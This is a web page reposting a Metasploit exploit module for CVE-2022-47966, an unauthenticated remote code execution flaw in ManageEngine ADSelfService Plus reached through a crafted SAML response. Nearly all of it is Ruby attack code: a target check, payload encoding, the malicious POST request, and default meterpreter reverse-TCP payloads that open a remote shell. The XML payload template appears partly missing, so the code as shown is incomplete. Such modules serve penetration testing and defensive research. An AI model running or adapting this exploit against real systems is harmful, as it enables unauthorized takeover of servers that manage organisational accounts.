Exploit/Advisories no image

Published on February 8th, 2023 📆 | 4510 Views ⚑

0

ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution – Torchsec


https://www.ispeech.org

# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',
'Description' => %q{
This exploits an unauthenticated remote code execution vulnerability
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and
below (CVE-2022-47966). Due to a dependency to an outdated library
(Apache Santuario version 1.4.1), it is possible to execute arbitrary
code by providing a crafted `samlResponse` XML to the ADSelfService Plus
SAML endpoint. Note that the target is only vulnerable if it has been
configured with SAML-based SSO at least once in the past, regardless of
the current SAML-based SSO status.
},
'Author' => [
'Khoa Dinh', # Original research
'horizon3ai', # PoC
'Christophe De La Fuente' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-47966'],
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']
],
'Platform' => ['win'],
'Payload' => {
'BadChars' => "\x27"
},
'Targets' => [
[
'Windows EXE Dropper',
{
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_dropper,
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_command,
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }
}
]
],
'DefaultOptions' => {
'RPORT' => 9251,
'SSL' => true
},
'DefaultTarget' => 1,
'DisclosureDate' => '2023-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
},
'Privileged' => true
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://:/samlLogin/LoginAuth"' ])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])
)
return CheckCode::Unknown unless res

return CheckCode::Safe unless res.code == 200

product = res.get_html_document.xpath('//title').first&.text
unless product == 'ADSelfService Plus'
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")
end

CheckCode::Detected
end

def encode_begin(real_payload, reqs)
super





reqs['EncapsulationRoutine'] = proc do |_reqs, raw|
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw
end
end

def exploit
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
if target['Type'] == :windows_dropper
cmd = "cmd /c #{cmd}"
end
cmd = cmd.encode(xml: :attr).gsub('"', '')

assertion_id = "_#{SecureRandom.uuid}"
# Randomize variable names and make sure they are all different using a Set
vars = Set.new
loop do
vars << Rex::Text.rand_text_alpha_lower(5..8)
break unless vars.size < 3
end
vars = vars.to_a
saml = <<~EOS

ID="_#{SecureRandom.uuid}"
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">



IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
#{datastore['ISSUER_URL']}








xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">








#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}


#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}

EOS

relay_state_url = datastore['RELAY_STATE']
if relay_state_url.blank?
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"
end
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),
'vars_get' => {
'RelayState' => Rex::Text.encode_base64(relay_state_url)
},
'vars_post' => {
'SAMLResponse' => Rex::Text.encode_base64(saml)
}
})

unless res&.code == 200
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")
end

res
end

end

Source link

Tagged with:



Comments are closed.